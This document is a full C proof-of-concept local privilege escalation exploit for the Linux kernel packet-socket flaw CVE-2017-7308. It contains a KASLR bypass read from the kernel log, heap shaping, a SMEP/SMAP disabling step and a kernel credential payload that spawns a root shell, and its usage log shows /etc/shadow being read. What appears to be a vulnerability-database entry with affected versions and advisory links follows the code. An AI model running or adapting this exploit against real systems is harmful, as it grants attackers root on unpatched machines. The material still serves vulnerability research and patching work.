// A proof-of-concept local root exploit for CVE-2017-7308. // Includes a SMEP & SMAP bypass. // Tested on 4.8.0-41-generic Ubuntu kernel. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 // // Usage: // user@ubuntu:~$ uname -a // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... // user@ubuntu:~$ gcc pwn.c -o pwn // user@ubuntu:~$ ./pwn // [.] starting // [.] namespace sandbox set up // [.] KASLR bypass enabled, getting kernel addr // [.] done, kernel text: ffffffff87000000 // [.] commit_creds: ffffffff870a5cf0 // [.] prepare_kernel_cred: ffffffff870a60e0 // [.] native_write_cr4: ffffffff87064210 // [.] padding heap // [.] done, heap is padded // [.] SMEP & SMAP bypass enabled, turning them off // [.] done, SMEP & SMAP should be off now // [.] executing get root payload 0x401516 // [.] done, should be root now // [.] checking if we got root // [+] got r00t ^_^ // root@ubuntu:/home/user# cat /etc/shadow // root:!:17246:0:99999:7::: // daemon:*:17212:0:99999:7::: // bin:*:17212:0:99999:7::: // ... // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <sys/ioctl.h> #include <sys/klog.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <linux/ip.h> #include <linux/udp.h> #include <netinet/if_ether.h> #include <net/if.h> #define ENABLE_KASLR_BYPASS 1 #define ENABLE_SMEP_SMAP_BYPASS 1 // Will be overwritten if ENABLE_KASLR_BYPASS unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Kernel symbol offsets #define COMMIT_CREDS 0xa5cf0ul #define PREPARE_KERNEL_CRED 0xa60e0ul #define NATIVE_WRITE_CR4 0x64210ul // Should have SMEP and SMAP bits disabled #define CR4_DESIRED_VALUE 0x407f0ul #define KMALLOC_PAD 512 #define PAGEALLOC_PAD 1024 // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * typedef uint32_t u32; // $ pahole -C hlist_node ./vmlinux struct hlist_node { struct hlist_node * next; /* 0 8 */ struct hlist_node * * pprev; /* 8 8 */ }; // $ pahole -C timer_list ./vmlinux struct timer_list { struct hlist_node entry; /* 0 16 */ long unsigned int expires; /* 16 8 */ void (*function)(long unsigned int); /* 24 8 */ long unsigned int data; /* 32 8 */ u32 flags; /* 40 4 */ int start_pid; /* 44 4 */ void * start_site; /* 48 8 */ char start_comm[16]; /* 56 16 */ }; // packet_sock->rx_ring->prb_bdqc->retire_blk_timer #define TIMER_OFFSET 896 // pakcet_sock->xmit #define XMIT_OFFSET 1304 // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) { perror("[-] setsockopt(PACKET_VERSION)"); exit(EXIT_FAILURE); } struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) { perror("[-] setsockopt(PACKET_RX_RING)"); exit(EXIT_FAILURE); } } int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { perror("[-] socket(AF_PACKET)"); exit(EXIT_FAILURE); } packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) { perror("[-] bind(AF_PACKET)"); exit(EXIT_FAILURE); } return s; } void packet_socket_send(int s, char *buffer, int size) { struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_halen = ETH_ALEN; if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("[-] sendto(SOCK_RAW)"); exit(EXIT_FAILURE); } } void loopback_send(char *buffer, int size) { int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (s == -1) { perror("[-] socket(SOCK_RAW)"); exit(EXIT_FAILURE); } packet_socket_send(s, buffer, size); } int packet_sock_kmalloc() { int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); if (s == -1) { perror("[-] socket(SOCK_DGRAM)"); exit(EXIT_FAILURE); } return s; } void packet_sock_timer_schedule(int s, int timeout) { packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); } void packet_sock_id_match_trigger(int s) { char buffer[16]; packet_socket_send(s, &buffer[0], sizeof(buffer)); } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) #define V3_ALIGNMENT (8) #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) #define ETH_HDR_LEN sizeof(struct ethhdr) #define IP_HDR_LEN sizeof(struct iphdr) #define UDP_HDR_LEN sizeof(struct udphdr) #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) int oob_setup(int offset) { unsigned int maclen = ETH_HDR_LEN; unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + (maclen < 16 ? 16 : maclen)); unsigned int macoff = netoff - maclen; unsigned int sizeof_priv = (1u<<31) + (1u<<30) + 0x8000 - BLK_HDR_LEN - macoff + offset; return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); } void oob_write(char *buffer, int size) { loopback_send(buffer, size); } void oob_timer_execute(void *func, unsigned long arg) { oob_setup(2048 + TIMER_OFFSET - 8); int i; for (i = 0; i < 32; i++) { int timer = packet_sock_kmalloc(); packet_sock_timer_schedule(timer, 1000); } char buffer[2048]; memset(&buffer[0], 0, sizeof(buffer)); struct timer_list *timer = (struct timer_list *)&buffer[8]; timer->function = func; timer->data = arg; timer->flags = 1; oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); sleep(1); } void oob_id_match_execute(void *func) { int s = oob_setup(2048 + XMIT_OFFSET - 64); int ps[32]; int i; for (i = 0; i < 32; i++) ps[i] = packet_sock_kmalloc(); char buffer[2048]; memset(&buffer[0], 0, 2048); void **xmit = (void **)&buffer[64]; *xmit = func; oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); for (i = 0; i < 32; i++) packet_sock_id_match_trigger(ps[i]); } // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * void kmalloc_pad(int count) { int i; for (i = 0; i < count; i++) packet_sock_kmalloc(); } void pagealloc_pad(int count) { packet_socket_setup(0x8000, 2048, count, 0, 100); } // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); void get_root_payload(void) { ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0) ); } // * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * * #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 unsigned long get_kernel_addr() { int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (size == -1) { perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); exit(EXIT_FAILURE); } size = (size / getpagesize() + 1) * getpagesize(); char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); if (size == -1) { perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); exit(EXIT_FAILURE); } const char *needle1 = "Freeing SMP"; char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1); exit(EXIT_FAILURE); } for (size = 0; substr[size] != '\n'; size++); const char *needle2 = "ffff"; substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2); exit(EXIT_FAILURE); } char *endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xfffffffffff00000ul; r -= 0x1000000ul; return r; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void exec_shell() { char *shell = "/bin/bash"; char *args[] = {shell, "-i", NULL}; execve(shell, args, NULL); } void fork_shell() { pid_t rv; rv = fork(); if (rv == -1) { perror("[-] fork()"); exit(EXIT_FAILURE); } if (rv == 0) { exec_shell(); } } bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true; } void check_root() { printf("[.] checking if we got root\n"); if (!is_root()) { printf("[-] something went wrong =(\n"); return; } printf("[+] got r00t ^_^\n"); // Fork and exec instead of just doing the exec to avoid potential // memory corruptions when closing packet sockets. fork_shell(); } bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("[-] write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ perror("[-] write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { perror("[-] write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("[-] sched_setaffinity()"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { perror("[-] system(/sbin/ifconfig lo up)"); exit(EXIT_FAILURE); } } int main() { printf("[.] starting\n"); setup_sandbox(); printf("[.] namespace sandbox set up\n"); #if ENABLE_KASLR_BYPASS printf("[.] KASLR bypass enabled, getting kernel addr\n"); KERNEL_BASE = get_kernel_addr(); printf("[.] done, kernel text: %lx\n", KERNEL_BASE); #endif printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS); printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED); #if ENABLE_SMEP_SMAP_BYPASS printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4); #endif printf("[.] padding heap\n"); kmalloc_pad(KMALLOC_PAD); pagealloc_pad(PAGEALLOC_PAD); printf("[.] done, heap is padded\n"); #if ENABLE_SMEP_SMAP_BYPASS printf("[.] SMEP & SMAP bypass enabled, turning them off\n"); oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); printf("[.] done, SMEP & SMAP should be off now\n"); #endif printf("[.] executing get root payload %p\n", &get_root_payload); oob_id_match_execute((void *)&get_root_payload); printf("[.] done, should be root now\n"); check_root(); while (1) sleep(1000); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.6.27 To (excluding) 3.2.89

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.10.107

Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.12.74

Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.16.44

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.52

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.1.41

Linux>>Linux_kernel >> Version From (including) 4.2 To (excluding) 4.4.66

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.9.26

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.10.14

Références

https://access.redhat.com/errata/RHSA-2017:1308
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1854
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/97234
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/41994/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/44654/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2017:1298
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:1297
Tags : vendor-advisory, x_refsource_REDHAT